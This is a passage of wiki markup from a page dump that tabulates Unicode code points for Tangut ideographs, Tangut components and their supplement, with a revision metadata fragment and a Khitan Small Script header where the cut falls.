color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D0F|&amp;#x18d0f;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D1x
|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D10|&amp;#x18d10;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D11|&amp;#x18d11;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D12|&amp;#x18d12;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D13|&amp;#x18d13;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D14|&amp;#x18d14;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D15|&amp;#x18d15;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D16|&amp;#x18d10;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D17|&amp;#x18d17;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D18|&amp;#x18d18;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D19|&amp;#x18d19;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1A|&amp;#x18d1a;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1B|&amp;#x18d1b;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1C|&amp;#x18d1c;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1D|&amp;#x18d1d;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1E|&amp;#x18d1e;}}||style=&quot;background:#c8a36f;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D1F|&amp;#x18d1f;}}
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D2x
|style=&quot;background:#c8a36f;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT IDEOGRAPH-18D20|&amp;#x18d20;}}||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D3x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D4x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D5x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D6x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
! style=&quot;background:#ffffff;{{text default color}};&quot; |18D7x
|&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut Components Supplement'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18D8x
|{{H:title|dotted=no|TANGUT COMPONENT-769|&amp;#x18d80;}}||{{H:title|dotted=no|TANGUT COMPONENT-770|&amp;#x18d81;}}||{{H:title|dotted=no|TANGUT COMPONENT-771|&amp;#x18d82;}}||{{H:title|dotted=no|TANGUT COMPONENT-772|&amp;#x18d83;}}||{{H:title|dotted=no|TANGUT COMPONENT-773|&amp;#x18d84;}}||{{H:title|dotted=no|TANGUT COMPONENT-774|&amp;#x18d85;}}||{{H:title|dotted=no|TANGUT COMPONENT-775|&amp;#x18d86;}}||{{H:title|dotted=no|TANGUT COMPONENT-776|&amp;#x18d87;}}||{{H:title|dotted=no|TANGUT COMPONENT-777|&amp;#x18d88;}}||{{H:title|dotted=no|TANGUT COMPONENT-778|&amp;#x18d89;}}||{{H:title|dotted=no|TANGUT COMPONENT-779|&amp;#x18d8a;}}||{{H:title|dotted=no|TANGUT COMPONENT-780|&amp;#x18d8b;}}||{{H:title|dotted=no|TANGUT COMPONENT-781|&amp;#x18d8c;}}||{{H:title|dotted=no|TANGUT COMPONENT-782|&amp;#x18d8d;}}||{{H:title|dotted=no|TANGUT COMPONENT-783|&amp;#x18d8e;}}||{{H:title|dotted=no|TANGUT COMPONENT-784|&amp;#x18d8f;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18D9x
|{{H:title|dotted=no|TANGUT COMPONENT-785|&amp;#x18d90;}}||{{H:title|dotted=no|TANGUT COMPONENT-786|&amp;#x18d91;}}||{{H:title|dotted=no|TANGUT COMPONENT-787|&amp;#x18d92;}}||{{H:title|dotted=no|TANGUT COMPONENT-788|&amp;#x18d93;}}||{{H:title|dotted=no|TANGUT COMPONENT-789|&amp;#x18d94;}}||{{H:title|dotted=no|TANGUT COMPONENT-790|&amp;#x18d95;}}||{{H:title|dotted=no|TANGUT COMPONENT-791|&amp;#x18d96;}}||{{H:title|dotted=no|TANGUT COMPONENT-792|&amp;#x18d97;}}||{{H:title|dotted=no|TANGUT COMPONENT-793|&amp;#x18d98;}}||{{H:title|dotted=no|TANGUT COMPONENT-794|&amp;#x18d99;}}||{{H:title|dotted=no|TANGUT COMPONENT-795|&amp;#x18d9a;}}||{{H:title|dotted=no|TANGUT COMPONENT-796|&amp;#x18d9b;}}||{{H:title|dotted=no|TANGUT COMPONENT-797|&amp;#x18d9c;}}||{{H:title|dotted=no|TANGUT COMPONENT-798|&amp;#x18d9d;}}||{{H:title|dotted=no|TANGUT COMPONENT-799|&amp;#x18d9e;}}||{{H:title|dotted=no|TANGUT COMPONENT-800|&amp;#x18d9f;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18DAx
|{{H:title|dotted=no|TANGUT COMPONENT-801|&amp;#x18da0;}}||{{H:title|dotted=no|TANGUT COMPONENT-802|&amp;#x18da1;}}||{{H:title|dotted=no|TANGUT COMPONENT-803|&amp;#x18da2;}}||{{H:title|dotted=no|TANGUT COMPONENT-804|&amp;#x18da3;}}||{{H:title|dotted=no|TANGUT COMPONENT-805|&amp;#x18da4;}}||{{H:title|dotted=no|TANGUT COMPONENT-806|&amp;#x18da5;}}||{{H:title|dotted=no|TANGUT COMPONENT-807|&amp;#x18da6;}}||{{H:title|dotted=no|TANGUT COMPONENT-808|&amp;#x18da7;}}||{{H:title|dotted=no|TANGUT COMPONENT-809|&amp;#x18da8;}}||{{H:title|dotted=no|TANGUT COMPONENT-810|&amp;#x18da9;}}||{{H:title|dotted=no|TANGUT COMPONENT-811|&amp;#x18daa;}}||{{H:title|dotted=no|TANGUT COMPONENT-812|&amp;#x18dab;}}||{{H:title|dotted=no|TANGUT COMPONENT-813|&amp;#x18dac;}}||{{H:title|dotted=no|TANGUT COMPONENT-814|&amp;#x18dad;}}||{{H:title|dotted=no|TANGUT COMPONENT-815|&amp;#x18dae;}}||{{H:title|dotted=no|TANGUT COMPONENT-816|&amp;#x18daf;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18DBx
|{{H:title|dotted=no|TANGUT COMPONENT-817|&amp;#x18db0;}}||{{H:title|dotted=no|TANGUT COMPONENT-818|&amp;#x18db1;}}||{{H:title|dotted=no|TANGUT COMPONENT-819|&amp;#x18db2;}}||{{H:title|dotted=no|TANGUT COMPONENT-820|&amp;#x18db3;}}||{{H:title|dotted=no|TANGUT COMPONENT-821|&amp;#x18db4;}}||{{H:title|dotted=no|TANGUT COMPONENT-822|&amp;#x18db5;}}||{{H:title|dotted=no|TANGUT COMPONENT-823|&amp;#x18db6;}}||{{H:title|dotted=no|TANGUT COMPONENT-824|&amp;#x18db7;}}||{{H:title|dotted=no|TANGUT COMPONENT-825|&amp;#x18db8;}}||{{H:title|dotted=no|TANGUT COMPONENT-826|&amp;#x18db9;}}||{{H:title|dotted=no|TANGUT COMPONENT-827|&amp;#x18dba;}}||{{H:title|dotted=no|TANGUT COMPONENT-828|&amp;#x18dbb;}}||{{H:title|dotted=no|TANGUT COMPONENT-829|&amp;#x18dbc;}}||{{H:title|dotted=no|TANGUT COMPONENT-830|&amp;#x18dbd;}}||{{H:title|dotted=no|TANGUT COMPONENT-831|&amp;#x18dbe;}}||{{H:title|dotted=no|TANGUT COMPONENT-832|&amp;#x18dbf;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18DCx
|{{H:title|dotted=no|TANGUT COMPONENT-833|&amp;#x18dc0;}}||{{H:title|dotted=no|TANGUT COMPONENT-834|&amp;#x18dc1;}}||{{H:title|dotted=no|TANGUT COMPONENT-835|&amp;#x18dc2;}}||{{H:title|dotted=no|TANGUT COMPONENT-836|&amp;#x18dc3;}}||{{H:title|dotted=no|TANGUT COMPONENT-837|&amp;#x18dc4;}}||{{H:title|dotted=no|TANGUT COMPONENT-838|&amp;#x18dc5;}}||{{H:title|dotted=no|TANGUT COMPONENT-839|&amp;#x18dc6;}}||{{H:title|dotted=no|TANGUT COMPONENT-840|&amp;#x18dc7;}}||{{H:title|dotted=no|TANGUT COMPONENT-841|&amp;#x18dc8;}}||{{H:title|dotted=no|TANGUT COMPONENT-842|&amp;#x18dc9;}}||{{H:title|dotted=no|TANGUT COMPONENT-843|&amp;#x18dca;}}||{{H:title|dotted=no|TANGUT COMPONENT-844|&amp;#x18dcb;}}||{{H:title|dotted=no|TANGUT COMPONENT-845|&amp;#x18dcc;}}||{{H:title|dotted=no|TANGUT COMPONENT-846|&amp;#x18dcd;}}||{{H:title|dotted=no|TANGUT COMPONENT-847|&amp;#x18dce;}}||{{H:title|dotted=no|TANGUT COMPONENT-848|&amp;#x18dcf;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18DDx
|{{H:title|dotted=no|TANGUT COMPONENT-849|&amp;#x18dd0;}}||{{H:title|dotted=no|TANGUT COMPONENT-850|&amp;#x18dd1;}}||{{H:title|dotted=no|TANGUT COMPONENT-851|&amp;#x18dd2;}}||{{H:title|dotted=no|TANGUT COMPONENT-852|&amp;#x18dd3;}}||{{H:title|dotted=no|TANGUT COMPONENT-853|&amp;#x18dd4;}}||{{H:title|dotted=no|TANGUT COMPONENT-854|&amp;#x18dd5;}}||{{H:title|dotted=no|TANGUT COMPONENT-855|&amp;#x18dd6;}}||{{H:title|dotted=no|TANGUT COMPONENT-856|&amp;#x18dd7;}}||{{H:title|dotted=no|TANGUT COMPONENT-857|&amp;#x18dd8;}}||{{H:title|dotted=no|TANGUT COMPONENT-858|&amp;#x18dd9;}}||{{H:title|dotted=no|TANGUT COMPONENT-859|&amp;#x18dda;}}||{{H:title|dotted=no|TANGUT COMPONENT-860|&amp;#x18ddb;}}||{{H:title|dotted=no|TANGUT COMPONENT-861|&amp;#x18ddc;}}||{{H:title|dotted=no|TANGUT COMPONENT-862|&amp;#x18ddd;}}||{{H:title|dotted=no|TANGUT COMPONENT-863|&amp;#x18dde;}}||{{H:title|dotted=no|TANGUT COMPONENT-864|&amp;#x18ddf;}}
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| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Jurchen'''
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    <revision>
      <id>4670517</id>
      <parentid>4670516</parentid>
      <timestamp>2026-09-17T00:33:24Z</timestamp>
      <contributor>
        <username>~2026-50318-97</username>
        <id>3626120</id>
      </contributor>
      <comment>Updated colors</comment>
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|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut (ctd.)'''
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|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut Components'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
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|{{H:title|dotted=no|TANGUT COMPONENT-017|&amp;#x18810;}}||{{H:title|dotted=no|TANGUT COMPONENT-018|&amp;#x18811;}}||{{H:title|dotted=no|TANGUT COMPONENT-019|&amp;#x18812;}}||{{H:title|dotted=no|TANGUT COMPONENT-020|&amp;#x18813;}}||{{H:title|dotted=no|TANGUT COMPONENT-021|&amp;#x18814;}}||{{H:title|dotted=no|TANGUT COMPONENT-022|&amp;#x18815;}}||{{H:title|dotted=no|TANGUT COMPONENT-023|&amp;#x18816;}}||{{H:title|dotted=no|TANGUT COMPONENT-024|&amp;#x18817;}}||{{H:title|dotted=no|TANGUT COMPONENT-025|&amp;#x18818;}}||{{H:title|dotted=no|TANGUT COMPONENT-026|&amp;#x18819;}}||{{H:title|dotted=no|TANGUT COMPONENT-027|&amp;#x1881a;}}||{{H:title|dotted=no|TANGUT COMPONENT-028|&amp;#x1881b;}}||{{H:title|dotted=no|TANGUT COMPONENT-029|&amp;#x1881c;}}||{{H:title|dotted=no|TANGUT COMPONENT-030|&amp;#x1881d;}}||{{H:title|dotted=no|TANGUT COMPONENT-031|&amp;#x1881e;}}||{{H:title|dotted=no|TANGUT COMPONENT-032|&amp;#x1881f;}}
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|{{H:title|dotted=no|TANGUT COMPONENT-081|&amp;#x18850;}}||{{H:title|dotted=no|TANGUT COMPONENT-082|&amp;#x18851;}}||{{H:title|dotted=no|TANGUT COMPONENT-083|&amp;#x18852;}}||{{H:title|dotted=no|TANGUT COMPONENT-084|&amp;#x18853;}}||{{H:title|dotted=no|TANGUT COMPONENT-085|&amp;#x18854;}}||{{H:title|dotted=no|TANGUT COMPONENT-086|&amp;#x18855;}}||{{H:title|dotted=no|TANGUT COMPONENT-087|&amp;#x18856;}}||{{H:title|dotted=no|TANGUT COMPONENT-088|&amp;#x18857;}}||{{H:title|dotted=no|TANGUT COMPONENT-089|&amp;#x18858;}}||{{H:title|dotted=no|TANGUT COMPONENT-090|&amp;#x18859;}}||{{H:title|dotted=no|TANGUT COMPONENT-091|&amp;#x1885a;}}||{{H:title|dotted=no|TANGUT COMPONENT-092|&amp;#x1885b;}}||{{H:title|dotted=no|TANGUT COMPONENT-093|&amp;#x1885c;}}||{{H:title|dotted=no|TANGUT COMPONENT-094|&amp;#x1885d;}}||{{H:title|dotted=no|TANGUT COMPONENT-095|&amp;#x1885e;}}||{{H:title|dotted=no|TANGUT COMPONENT-096|&amp;#x1885f;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
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|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|1887x
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!style=&quot;background:#ffffff;{{text default color}};&quot;|1888x
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|{{H:title|dotted=no|TANGUT COMPONENT-625|&amp;#x18a70;}}||{{H:title|dotted=no|TANGUT COMPONENT-626|&amp;#x18a71;}}||{{H:title|dotted=no|TANGUT COMPONENT-627|&amp;#x18a72;}}||{{H:title|dotted=no|TANGUT COMPONENT-628|&amp;#x18a73;}}||{{H:title|dotted=no|TANGUT COMPONENT-629|&amp;#x18a74;}}||{{H:title|dotted=no|TANGUT COMPONENT-630|&amp;#x18a75;}}||{{H:title|dotted=no|TANGUT COMPONENT-631|&amp;#x18a76;}}||{{H:title|dotted=no|TANGUT COMPONENT-632|&amp;#x18a77;}}||{{H:title|dotted=no|TANGUT COMPONENT-633|&amp;#x18a78;}}||{{H:title|dotted=no|TANGUT COMPONENT-634|&amp;#x18a79;}}||{{H:title|dotted=no|TANGUT COMPONENT-635|&amp;#x18a7a;}}||{{H:title|dotted=no|TANGUT COMPONENT-636|&amp;#x18a7b;}}||{{H:title|dotted=no|TANGUT COMPONENT-637|&amp;#x18a7c;}}||{{H:title|dotted=no|TANGUT COMPONENT-638|&amp;#x18a7d;}}||{{H:title|dotted=no|TANGUT COMPONENT-639|&amp;#x18a7e;}}||{{H:title|dotted=no|TANGUT COMPONENT-640|&amp;#x18a7f;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18A8x
|{{H:title|dotted=no|TANGUT COMPONENT-641|&amp;#x18a80;}}||{{H:title|dotted=no|TANGUT COMPONENT-642|&amp;#x18a81;}}||{{H:title|dotted=no|TANGUT COMPONENT-643|&amp;#x18a82;}}||{{H:title|dotted=no|TANGUT COMPONENT-644|&amp;#x18a83;}}||{{H:title|dotted=no|TANGUT COMPONENT-645|&amp;#x18a84;}}||{{H:title|dotted=no|TANGUT COMPONENT-646|&amp;#x18a85;}}||{{H:title|dotted=no|TANGUT COMPONENT-647|&amp;#x18a86;}}||{{H:title|dotted=no|TANGUT COMPONENT-648|&amp;#x18a87;}}||{{H:title|dotted=no|TANGUT COMPONENT-649|&amp;#x18a88;}}||{{H:title|dotted=no|TANGUT COMPONENT-650|&amp;#x18a89;}}||{{H:title|dotted=no|TANGUT COMPONENT-651|&amp;#x18a8a;}}||{{H:title|dotted=no|TANGUT COMPONENT-652|&amp;#x18a8b;}}||{{H:title|dotted=no|TANGUT COMPONENT-653|&amp;#x18a8c;}}||{{H:title|dotted=no|TANGUT COMPONENT-654|&amp;#x18a8d;}}||{{H:title|dotted=no|TANGUT COMPONENT-655|&amp;#x18a8e;}}||{{H:title|dotted=no|TANGUT COMPONENT-656|&amp;#x18a8f;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18A9x
|{{H:title|dotted=no|TANGUT COMPONENT-657|&amp;#x18a90;}}||{{H:title|dotted=no|TANGUT COMPONENT-658|&amp;#x18a91;}}||{{H:title|dotted=no|TANGUT COMPONENT-659|&amp;#x18a92;}}||{{H:title|dotted=no|TANGUT COMPONENT-660|&amp;#x18a93;}}||{{H:title|dotted=no|TANGUT COMPONENT-661|&amp;#x18a94;}}||{{H:title|dotted=no|TANGUT COMPONENT-662|&amp;#x18a95;}}||{{H:title|dotted=no|TANGUT COMPONENT-663|&amp;#x18a96;}}||{{H:title|dotted=no|TANGUT COMPONENT-664|&amp;#x18a97;}}||{{H:title|dotted=no|TANGUT COMPONENT-665|&amp;#x18a98;}}||{{H:title|dotted=no|TANGUT COMPONENT-666|&amp;#x18a99;}}||{{H:title|dotted=no|TANGUT COMPONENT-667|&amp;#x18a9a;}}||{{H:title|dotted=no|TANGUT COMPONENT-668|&amp;#x18a9b;}}||{{H:title|dotted=no|TANGUT COMPONENT-669|&amp;#x18a9c;}}||{{H:title|dotted=no|TANGUT COMPONENT-670|&amp;#x18a9d;}}||{{H:title|dotted=no|TANGUT COMPONENT-671|&amp;#x18a9e;}}||{{H:title|dotted=no|TANGUT COMPONENT-672|&amp;#x18a9f;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18AAx
|{{H:title|dotted=no|TANGUT COMPONENT-673|&amp;#x18aa0;}}||{{H:title|dotted=no|TANGUT COMPONENT-674|&amp;#x18aa1;}}||{{H:title|dotted=no|TANGUT COMPONENT-675|&amp;#x18aa2;}}||{{H:title|dotted=no|TANGUT COMPONENT-676|&amp;#x18aa3;}}||{{H:title|dotted=no|TANGUT COMPONENT-677|&amp;#x18aa4;}}||{{H:title|dotted=no|TANGUT COMPONENT-678|&amp;#x18aa5;}}||{{H:title|dotted=no|TANGUT COMPONENT-679|&amp;#x18aa6;}}||{{H:title|dotted=no|TANGUT COMPONENT-680|&amp;#x18aa7;}}||{{H:title|dotted=no|TANGUT COMPONENT-681|&amp;#x18aa8;}}||{{H:title|dotted=no|TANGUT COMPONENT-682|&amp;#x18aa9;}}||{{H:title|dotted=no|TANGUT COMPONENT-683|&amp;#x18aaa;}}||{{H:title|dotted=no|TANGUT COMPONENT-684|&amp;#x18aab;}}||{{H:title|dotted=no|TANGUT COMPONENT-685|&amp;#x18aac;}}||{{H:title|dotted=no|TANGUT COMPONENT-686|&amp;#x18aad;}}||{{H:title|dotted=no|TANGUT COMPONENT-687|&amp;#x18aae;}}||{{H:title|dotted=no|TANGUT COMPONENT-688|&amp;#x18aaf;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18ABx
|{{H:title|dotted=no|TANGUT COMPONENT-689|&amp;#x18ab0;}}||{{H:title|dotted=no|TANGUT COMPONENT-690|&amp;#x18ab1;}}||{{H:title|dotted=no|TANGUT COMPONENT-691|&amp;#x18ab2;}}||{{H:title|dotted=no|TANGUT COMPONENT-692|&amp;#x18ab3;}}||{{H:title|dotted=no|TANGUT COMPONENT-693|&amp;#x18ab4;}}||{{H:title|dotted=no|TANGUT COMPONENT-694|&amp;#x18ab5;}}||{{H:title|dotted=no|TANGUT COMPONENT-695|&amp;#x18ab6;}}||{{H:title|dotted=no|TANGUT COMPONENT-696|&amp;#x18ab7;}}||{{H:title|dotted=no|TANGUT COMPONENT-697|&amp;#x18ab8;}}||{{H:title|dotted=no|TANGUT COMPONENT-698|&amp;#x18ab9;}}||{{H:title|dotted=no|TANGUT COMPONENT-699|&amp;#x18aba;}}||{{H:title|dotted=no|TANGUT COMPONENT-700|&amp;#x18abb;}}||{{H:title|dotted=no|TANGUT COMPONENT-701|&amp;#x18abc;}}||{{H:title|dotted=no|TANGUT COMPONENT-702|&amp;#x18abd;}}||{{H:title|dotted=no|TANGUT COMPONENT-703|&amp;#x18abe;}}||{{H:title|dotted=no|TANGUT COMPONENT-704|&amp;#x18abf;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18ACx
|{{H:title|dotted=no|TANGUT COMPONENT-705|&amp;#x18ac0;}}||{{H:title|dotted=no|TANGUT COMPONENT-706|&amp;#x18ac1;}}||{{H:title|dotted=no|TANGUT COMPONENT-707|&amp;#x18ac2;}}||{{H:title|dotted=no|TANGUT COMPONENT-708|&amp;#x18ac3;}}||{{H:title|dotted=no|TANGUT COMPONENT-709|&amp;#x18ac4;}}||{{H:title|dotted=no|TANGUT COMPONENT-710|&amp;#x18ac5;}}||{{H:title|dotted=no|TANGUT COMPONENT-711|&amp;#x18ac6;}}||{{H:title|dotted=no|TANGUT COMPONENT-712|&amp;#x18ac7;}}||{{H:title|dotted=no|TANGUT COMPONENT-713|&amp;#x18ac8;}}||{{H:title|dotted=no|TANGUT COMPONENT-714|&amp;#x18ac9;}}||{{H:title|dotted=no|TANGUT COMPONENT-715|&amp;#x18aca;}}||{{H:title|dotted=no|TANGUT COMPONENT-716|&amp;#x18acb;}}||{{H:title|dotted=no|TANGUT COMPONENT-717|&amp;#x18acc;}}||{{H:title|dotted=no|TANGUT COMPONENT-718|&amp;#x18acd;}}||{{H:title|dotted=no|TANGUT COMPONENT-719|&amp;#x18ace;}}||{{H:title|dotted=no|TANGUT COMPONENT-720|&amp;#x18acf;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18ADx
|{{H:title|dotted=no|TANGUT COMPONENT-721|&amp;#x18ad0;}}||{{H:title|dotted=no|TANGUT COMPONENT-722|&amp;#x18ad1;}}||{{H:title|dotted=no|TANGUT COMPONENT-723|&amp;#x18ad2;}}||{{H:title|dotted=no|TANGUT COMPONENT-724|&amp;#x18ad3;}}||{{H:title|dotted=no|TANGUT COMPONENT-725|&amp;#x18ad4;}}||{{H:title|dotted=no|TANGUT COMPONENT-726|&amp;#x18ad5;}}||{{H:title|dotted=no|TANGUT COMPONENT-727|&amp;#x18ad6;}}||{{H:title|dotted=no|TANGUT COMPONENT-728|&amp;#x18ad7;}}||{{H:title|dotted=no|TANGUT COMPONENT-729|&amp;#x18ad8;}}||{{H:title|dotted=no|TANGUT COMPONENT-730|&amp;#x18ad9;}}||{{H:title|dotted=no|TANGUT COMPONENT-731|&amp;#x18ada;}}||{{H:title|dotted=no|TANGUT COMPONENT-732|&amp;#x18adb;}}||{{H:title|dotted=no|TANGUT COMPONENT-733|&amp;#x18adc;}}||{{H:title|dotted=no|TANGUT COMPONENT-734|&amp;#x18add;}}||{{H:title|dotted=no|TANGUT COMPONENT-735|&amp;#x18ade;}}||{{H:title|dotted=no|TANGUT COMPONENT-736|&amp;#x18adf;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18AEx
|{{H:title|dotted=no|TANGUT COMPONENT-737|&amp;#x18ae0;}}||{{H:title|dotted=no|TANGUT COMPONENT-738|&amp;#x18ae1;}}||{{H:title|dotted=no|TANGUT COMPONENT-739|&amp;#x18ae2;}}||{{H:title|dotted=no|TANGUT COMPONENT-740|&amp;#x18ae3;}}||{{H:title|dotted=no|TANGUT COMPONENT-741|&amp;#x18ae4;}}||{{H:title|dotted=no|TANGUT COMPONENT-742|&amp;#x18ae5;}}||{{H:title|dotted=no|TANGUT COMPONENT-743|&amp;#x18ae6;}}||{{H:title|dotted=no|TANGUT COMPONENT-744|&amp;#x18ae7;}}||{{H:title|dotted=no|TANGUT COMPONENT-745|&amp;#x18ae8;}}||{{H:title|dotted=no|TANGUT COMPONENT-746|&amp;#x18ae9;}}||{{H:title|dotted=no|TANGUT COMPONENT-747|&amp;#x18aea;}}||{{H:title|dotted=no|TANGUT COMPONENT-748|&amp;#x18aeb;}}||{{H:title|dotted=no|TANGUT COMPONENT-749|&amp;#x18aec;}}||{{H:title|dotted=no|TANGUT COMPONENT-750|&amp;#x18aed;}}||{{H:title|dotted=no|TANGUT COMPONENT-751|&amp;#x18aee;}}||{{H:title|dotted=no|TANGUT COMPONENT-752|&amp;#x18aef;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18AFx
|style=&quot;background:#9c8dff;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT COMPONENT-753|&amp;#x18af0;}}||style=&quot;background:#9c8dff;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT COMPONENT-754|&amp;#x18af1;}}||style=&quot;background:#9c8dff;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT COMPONENT-755|&amp;#x18af2;}}||{{H:title|dotted=no|TANGUT COMPONENT-756|&amp;#x18af3;}}||{{H:title|dotted=no|TANGUT COMPONENT-757|&amp;#x18af4;}}||{{H:title|dotted=no|TANGUT COMPONENT-758|&amp;#x18af5;}}||{{H:title|dotted=no|TANGUT COMPONENT-759|&amp;#x18af6;}}||{{H:title|dotted=no|TANGUT COMPONENT-760|&amp;#x18af7;}}||{{H:title|dotted=no|TANGUT COMPONENT-761|&amp;#x18af8;}}||{{H:title|dotted=no|TANGUT COMPONENT-762|&amp;#x18af9;}}||{{H:title|dotted=no|TANGUT COMPONENT-763|&amp;#x18afa;}}||{{H:title|dotted=no|TANGUT COMPONENT-764|&amp;#x18afb;}}||{{H:title|dotted=no|TANGUT COMPONENT-765|&amp;#x18afc;}}||{{H:title|dotted=no|TANGUT COMPONENT-766|&amp;#x18afd;}}||{{H:title|dotted=no|TANGUT COMPONENT-767|&amp;#x18afe;}}||{{H:title|dotted=no|TANGUT COMPONENT-768|&amp;#x18aff;}}
|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Khitan Small Script'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B0x
